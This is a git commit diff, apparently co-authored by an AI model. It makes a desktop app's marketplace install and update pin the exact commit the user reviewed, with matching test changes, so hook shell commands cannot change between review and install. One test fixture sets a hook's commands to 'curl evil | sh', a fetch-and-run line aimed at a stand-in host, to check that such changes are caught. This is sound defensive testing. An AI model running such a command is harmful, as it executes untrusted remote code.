Marketplace: pin the commit the user reviewed (final review I2)

Install and update pinned whatever the marketplace head was when the
click landed, so a background refresh between review and click could
pin content nobody saw (including a hook's shell commands).
install_marketplace_item and update_marketplace_item now take
expected_commit and refuse with "changed since you reviewed this item —
review it again" unless it is still the head. The UI passes the head the
selected item was read at (Browse), the head frozen with a pending hook
confirm (whose commands are frozen too), and the head of the accepted
diff (Installed).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 10:11:19 -07:00
co-authored by Claude Opus 5.5
parent f2ebddd073
commit dd019cf2c0
13 changed files with 197 additions and 65 deletions
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> }));
vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
import BrowsePane from "./BrowsePane";
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
expect(screen.getByText("install controls")).toBeInTheDocument();
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("I2: installs pin the head the shown item was read at, not a later one", () => {
const mp = api();
const { rerender } = render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("shows why an item is invalid", () => {
+16 -5
View File
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState("");
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null);
// The item is kept as it was read, with the head it was read at: an
// install pins exactly what the detail pane shows (final review I2).
const [selected, setSelected] = useState<{
marketplaceId: string;
item: CatalogItem;
headCommit: string | null;
} | null>(null);
const [adding, setAdding] = useState(false);
const [removing, setRemoving] = useState<Marketplace | null>(null);
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
.filter((i) => kind === "all" || i.kind === kind)
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
.map((item) => ({ marketplaceId: snap.marketplace_id, item })),
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
);
}, [mp.snapshots, kind, query]);
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
className={inputClass}
/>
<ul className="space-y-1">
{rows.map(({ marketplaceId, item }) => {
{rows.map(({ marketplaceId, item, headCommit }) => {
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
const isSel =
selected?.marketplaceId === marketplaceId &&
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<li key={key}>
<button
type="button"
onClick={() => setSelected({ marketplaceId, item })}
onClick={() => setSelected({ marketplaceId, item, headCommit })}
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
}`}
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<section className="flex-1 min-w-0 p-4 overflow-auto">
{selected ? (
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} />
<ItemDetail
mp={mp}
item={selected.item}
marketplaceId={selected.marketplaceId}
headCommit={selected.headCommit}
/>
) : (
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
)}
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose commands are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) {
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install hook “${item.name}”?`}
description="This hook runs the commands below inside the container whenever its event fires."
description={`This hook runs the commands below inside the container whenever its event fires.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[40rem]"
onClose={onCancel}
footer={
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const C = "c".repeat(40);
/** The snapshot head the user is looking at. */
const H = "d".repeat(40);
function api(): MarketplaceApi {
return {
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
it("installs for all projects", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
});
it("installs for one project", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
});
it("opts a project out of a global install and back in", () => {
const mp = api();
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
const row1 = screen.getByTestId("install-row-p1");
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
fireEvent.click(within(row1).getByRole("checkbox"));
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
it("removes a project-only install", () => {
const mp = api();
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
});
it("requires confirmation before installing a hook", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" });
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("I2: a hook confirm installs the commit whose commands it showed", () => {
const mp = api();
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
// The marketplace moves on while the confirm is open.
rerender(
<InstallControls
mp={mp}
item={item("hook", { hook_commands: ["curl evil | sh"] })}
marketplaceId="m1"
headCommit={"e".repeat(40)}
/>,
);
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
});
it("shows only the filtered project when a filter is set", () => {
useAppState.setState({ marketplaceFilterProjectId: "p2" });
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
});
@@ -18,13 +18,25 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/**
* The marketplace head `item` was read at. Installs pin exactly this commit;
* the backend refuses if the marketplace has moved on since (final review I2).
*/
headCommit: string | null;
}
export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
scope: InstallScope;
item: CatalogItem;
commit: string;
}
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null);
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
);
const disabled = item.invalid !== null || busy;
// "" never matches a head, so the backend explains that a refresh is needed.
const commit = headCommit ?? "";
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
const run = async (fn: () => Promise<boolean>) => {
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** Every install goes through here so a hook is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook") {
setPendingHook(scope);
setPendingHook({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, commit));
};
const toggleProject = (projectId: string, state: ProjectItemState) => {
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
)}
{pendingHook && (
<HookConfirmModal
item={item}
item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)}
onConfirm={() => {
const scope = pendingHook;
const { scope, commit: reviewed } = pendingHook;
setPendingHook(null);
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, reviewed));
}}
/>
)}
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() =>
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }),
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
);
});
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
it("marks installs whose marketplace was removed and forgets them", () => {
const mp = api();
render(<InstalledPane mp={mp} />);
@@ -16,6 +16,8 @@ interface Pending {
update: ItemUpdate;
scope: InstallScope;
scopeLabel: string;
/** Hooks only: what the hook runs at `update.head`, captured with it. */
hookCommands: string[] | undefined;
}
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
* diff review shows what a hook will run after the update, not just the
* raw `hook.json` diff. */
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => {
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
if (item.kind !== "hook") return undefined;
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
// Only when the snapshot is at the head being reviewed; otherwise they
// would describe a different version than the diff.
if (snap?.head_commit !== head) return undefined;
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
};
const removedSources = [
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
size="sm"
variant="secondary"
aria-label={`Review update for ${i.key}`}
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })}
onClick={() =>
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
}
>
Update available
</Button>
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
fromCommit={pending.install.commit}
toCommit={pending.update.head}
scopeLabel={pending.scopeLabel}
hookCommands={hookCommandsFor(pending.update.item)}
hookCommands={pending.hookCommands}
onClose={() => setPending(null)}
onAccept={() => mp.update(pending.update.item, pending.scope)}
// Pin exactly the head whose diff is on screen (final review I2).
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
/>
)}
</div>
@@ -8,9 +8,11 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/** The marketplace head `item` was read at. */
headCommit: string | null;
}
export default function ItemDetail({ mp, item, marketplaceId }: Props) {
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
return (
<div className="space-y-3">
<div>
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
)}
<div>
<p className="text-xs font-medium mb-1">Install</p>
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} />
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
apply to new Claude sessions.
+15 -1
View File
@@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn();
const getSettings = vi.fn();
const listProjects = vi.fn();
const installMarketplaceItem = vi.fn();
const updateMarketplaceItem = vi.fn();
vi.mock("../lib/tauri-commands", () => ({
listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
@@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({
getSettings: () => getSettings(),
listProjects: () => listProjects(),
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a),
}));
let syncHandler: ((e: { payload: unknown }) => void) | null = null;
@@ -66,11 +68,23 @@ describe("useMarketplace", () => {
installMarketplaceItem.mockRejectedValue("boom");
const { result } = renderHook(() => useMarketplace());
const ok = await act(() =>
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }),
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)),
);
expect(ok).toBe(false);
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
});
it("I2: passes the reviewed commit to install and update", async () => {
listMarketplaceSnapshots.mockResolvedValue([]);
installMarketplaceItem.mockResolvedValue({});
updateMarketplaceItem.mockResolvedValue(undefined);
const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" };
const { result } = renderHook(() => useMarketplace());
await act(() => result.current.install(item, { type: "global" }, "c".repeat(40)));
expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40));
await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40)));
expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40));
});
});
describe("useMarketplaceSyncToasts", () => {
+8 -6
View File
@@ -21,10 +21,12 @@ export interface MarketplaceApi {
refresh: (marketplaceId?: string) => Promise<void>;
/** Reload settings, projects and the update list after a mutation. */
reloadState: () => Promise<void>;
install: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
/** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */
install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
update: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
/** `commit`: the head whose diff the user accepted. */
update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
forget: (marketplaceId: string) => Promise<boolean>;
remove: (marketplaceId: string) => Promise<boolean>;
}
@@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi {
load,
refresh,
reloadState,
install: (item, scope) =>
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)),
install: (item, scope, commit) =>
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)),
uninstall: (item, scope) =>
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
setDisabled: (projectId, item, disabled) =>
mutate(`Could not change ${item.key} for this project`, () =>
commands.setGlobalItemDisabled(projectId, item, disabled),
),
update: (item, scope) =>
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)),
update: (item, scope, commit) =>
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)),
forget: (marketplaceId) =>
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
remove: async (marketplaceId) => {
+6 -4
View File
@@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) =>
invoke<AppSettings>("update_marketplace", { marketplace });
export const removeMarketplace = (marketplaceId: string) =>
invoke<AppSettings>("remove_marketplace", { marketplaceId });
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<AppSettings>("install_marketplace_item", { item, scope });
/** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<AppSettings>("install_marketplace_item", { item, scope, expectedCommit });
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<void>("uninstall_marketplace_item", { item, scope });
export const setGlobalItemDisabled = (
@@ -466,8 +467,9 @@ export const marketplaceItemDiff = (
fromCommit: string,
toCommit: string,
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<void>("update_marketplace_item", { item, scope });
/** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<void>("update_marketplace_item", { item, scope, expectedCommit });
export const applyMarketplaceNow = (projectId?: string) =>
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
export const getMarketplaceSyncReport = (projectId: string) =>